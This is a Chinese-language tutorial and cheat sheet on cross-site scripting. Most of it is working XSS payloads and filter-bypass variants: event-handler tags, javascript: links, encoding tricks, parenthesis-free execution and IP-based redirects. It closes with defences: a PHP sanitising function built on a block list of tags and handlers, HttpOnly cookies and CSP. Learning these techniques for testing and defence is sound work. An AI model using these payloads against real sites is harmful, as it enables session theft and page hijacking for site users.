无过滤情况下

常见标签

<script>

<script>alert("xss");</script>

<img>

<img src=1 onerror=alert("xss");>

<input>

<input onfocus="alert('xss');">

通过autofocus属性执行本身的focus事件,这个向量是使焦点自动跳到输入元素上,触发焦点事件,无需用户去触发

<input onfocus="alert('xss');" autofocus>

<details>

<details ontoggle="alert('xss');">
使用open属性触发ontoggle事件,无需用户去触发
<details open ontoggle="alert('xss');">

<svg>

<svg onload=alert("xss");>

<select>

<select onfocus=alert(1)></select>
<select onfocus=alert(1) autofocus>

<iframe>

<iframe onload=alert("xss");></iframe>

<video>

<video><source onerror="alert(1)">

<audio>

<audio src=x  onerror=alert("xss");>

<body>

<body/onload=alert("xss");>

利用换行符以及autofocus,自动触发onscroll事件,无需用户去触发

<body
onscroll=alert("xss");><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><input autofocus>

<textarea>

<textarea onfocus=alert("xss"); autofocus>

<keygen>

<keygen autofocus onfocus=alert(1)> //仅限火狐

<marquee>

<marquee onstart=alert("xss")></marquee> //Chrome不行,火狐和IE都可以

<isindex>

<isindex type=image src=1 onerror=alert("xss")>//仅限于IE

javascript伪协议

<a>标签

<a href="javascript:alert(`xss`);">xss</a>

<iframe>标签

<iframe src=javascript:alert('xss');></iframe>

<img>标签

<img src=javascript:alert('xss')>//IE7以下

<form>标签

<form action="Javascript:alert(1)"><input type=submit>

有过滤的情况下

过滤空格

/代替空格

<img/src="x"/onerror=alert("xss");>

过滤关键字

大小写绕过

<ImG sRc=x onerRor=alert("xss");>

双写绕过

有的时候waf只会替换一次且是替换为空,这个时候我们就可以采用双向关键字绕过

<imimgg srsrcc=x onerror=alert("xss");>

字符拼接

利用eval

<img src="x" onerror="a=`aler`;b=`t`;c='(`xss`);';eval(a+b+c)">

利用top

<script>top["al"+"ert"](`xss`);</script>

编码绕过

Unicode编码绕过

<img src="x" onerror="&#97;&#108;&#101;&#114;&#116;&#40;&#34;&#120;&#115;&#115;&#34;&#41;&#59;">

<img src="x" onerror="eval('\u0061\u006c\u0065\u0072\u0074\u0028\u0022\u0078\u0073\u0073\u0022\u0029\u003b')">

url编码绕过

<img src="x" onerror="eval(unescape('%61%6c%65%72%74%28%22%78%73%73%22%29%3b'))">

<iframe src="data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E"></iframe>

Ascii码绕过

<img src="x" onerror="eval(String.fromCharCode(97,108,101,114,116,40,34,120,115,115,34,41,59))">

hex绕过

<img src=x onerror=eval('\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29')>

八进制

<img src=x onerror=alert('\170\163\163')>

base64绕过

<img src="x" onerror="eval(atob('ZG9jdW1lbnQubG9jYXRpb249J2h0dHA6Ly93d3cuYmFpZHUuY29tJw=='))">

<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">

过滤双引号、单引号

1.如果是html标签中,我们可以不用引号,如果是在js中,我们可以用反引号代替单双引号

<img src="x" onerror=alert(`xss`);>

2.使用编码绕过

过滤括号

当括号被过滤的时候我们可以使用throw来绕过

<svg/onload="window.onerror=eval;throw'=alert\x281\x29';">

过滤url地址

我们可以使用IP地址进行绕过,我们可以使用十进制IP地址,也可以使用八进制IP地址,例如

<img src="x" onerror=document.location=`http://2130706433/`> //十进制IP
<img src="x" onerror=document.location=`http://0177.0.0.01/`> //八进制IP

XSS防护

过滤特殊符号

过滤一些危险字符,以及转义字符&、<、>、"、',通过相关的函数进行过滤XSS标签,如下所示

//自定义过滤函数
function remove_xss($val) {
// remove all non-printable characters. CR(0a) and LF(0b) and TAB(9) are allowed
// this prevents some character re-spacing such as <java\0script>
// note that you have to handle splits with \n, \r, and \t later since they *are* allowed in some inputs
$val = preg_replace('/([\x00-\x08,\x0b-\x0c,\x0e-\x19])/', '', $val);
// straight replacements, the user should never need these since they're normal characters
// this prevents like <IMG SRC=@avascript:alert('XSS')>
$search = 'abcdefghijklmnopqrstuvwxyz';
$search .= 'ABCDEFGHIJKLMNOPQRSTUVWXYZ';
$search .= '1234567890!@#$%^&*()';
$search .= '~`";:?+/={}[]-_|\'\\';
for ($i = 0; $i < strlen($search); $i++) {
// ;? matches the ;, which is optional
// 0{0,7} matches any padded zeros, which are optional and go up to 8 chars
// @ @ search for the hex values
$val = preg_replace('/(&#[xX]0{0,8}'.dechex(ord($search[$i])).';?)/i', $search[$i], $val); // with a ;
// @ @ 0{0,7} matches '0' zero to seven times
$val = preg_replace('/( {0,8}'.ord($search[$i]).';?)/', $search[$i], $val); // with a ;
}
// now the only remaining whitespace attacks are \t, \n, and \r
$ra1 = array('javascript', 'vbscript', 'expression', 'applet', 'meta', 'xml', 'blink', 'link', 'style', 'script', 'embed', 'object', 'iframe', 'frame', 'frameset', 'ilayer', 'layer', 'bgsound', 'title', 'base');
$ra2 = array('onabort', 'onactivate', 'onafterprint', 'onafterupdate', 'onbeforeactivate', 'onbeforecopy', 'onbeforecut', 'onbeforedeactivate', 'onbeforeeditfocus', 'onbeforepaste', 'onbeforeprint', 'onbeforeunload', 'onbeforeupdate', 'onblur', 'onbounce', 'oncellchange', 'onchange', 'onclick', 'oncontextmenu', 'oncontrolselect', 'oncopy', 'oncut', 'ondataavailable', 'ondatasetchanged', 'ondatasetcomplete', 'ondblclick', 'ondeactivate', 'ondrag', 'ondragend', 'ondragenter', 'ondragleave', 'ondragover', 'ondragstart', 'ondrop', 'onerror', 'onerrorupdate', 'onfilterchange', 'onfinish', 'onfocus', 'onfocusin', 'onfocusout', 'onhelp', 'onkeydown', 'onkeypress', 'onkeyup', 'onlayoutcomplete', 'onload', 'onlosecapture', 'onmousedown', 'onmouseenter', 'onmouseleave', 'onmousemove', 'onmouseout', 'onmouseover', 'onmouseup', 'onmousewheel', 'onmove', 'onmoveend', 'onmovestart', 'onpaste', 'onpropertychange', 'onreadystatechange', 'onreset', 'onresize', 'onresizeend', 'onresizestart', 'onrowenter', 'onrowexit', 'onrowsdelete', 'onrowsinserted', 'onscroll', 'onselect', 'onselectionchange', 'onselectstart', 'onstart', 'onstop', 'onsubmit', 'onunload');
$ra = array_merge($ra1, $ra2);
$found = true; // keep replacing as long as the previous round replaced something
while ($found == true) {
$val_before = $val;
for ($i = 0; $i < sizeof($ra); $i++) {
$pattern = '/';
for ($j = 0; $j < strlen($ra[$i]); $j++) {
if ($j > 0) {
$pattern .= '(';
$pattern .= '(&#[xX]0{0,8}([9ab]);)';
$pattern .= '|';
$pattern .= '|( {0,8}([9|10|13]);)';
$pattern .= ')*';
}
$pattern .= $ra[$i][$j];
}
$pattern .= '/i';
$replacement = substr($ra[$i], 0, 2).'<x>'.substr($ra[$i], 2); // add in <> to nerf the tag
$val = preg_replace($pattern, $replacement, $val); // filter out the hex tags
if ($val_before == $val) {
// no replacements were made, so exit the loop
$found = false;
}
}
}
return $val;
}

我们可以在php.ini文件中打开http_only选项,通过设置session.cookie_httponly的值为1或者为true,接着通过setrawcookie的方法开启

这个方法主要是防止cookie被盗用,当我们登录别的网站的时候,服务器通常会写入一些cookie到我们的浏览器,当下次再访问的时候,由于浏览器自动传递cookie,这样我们就不需要重复进行登录,假如我们的cookie被别人获取,就会暴露我们自己的信息,这个时候,http_only就可以很好的保障我们的cookie安全,其可以限制浏览器里的JavaScript访问cookie,当攻击者通过JavaScript访问了cookie值的时候,对应的cookie值就会立即失效,但是http_only也有一定的缺陷,就是其只防止了js获取cookie,你用beef获取相应的cookie并不会导致失效

设置CSP(Content Security Policy)

CSP配置代码:

header("Content-Security-Policy:img-src 'self' ");//只允许加载本地源图片

当开启这个之后,只可以加载本地源图片,而不允许加载外来图片,具体文章参考以下这篇文章:Web安全2.3:CSP安全策略、Cookie、Session、同源策略、HTML DOM树_同源策略与内容安全策略的区别-CSDN博客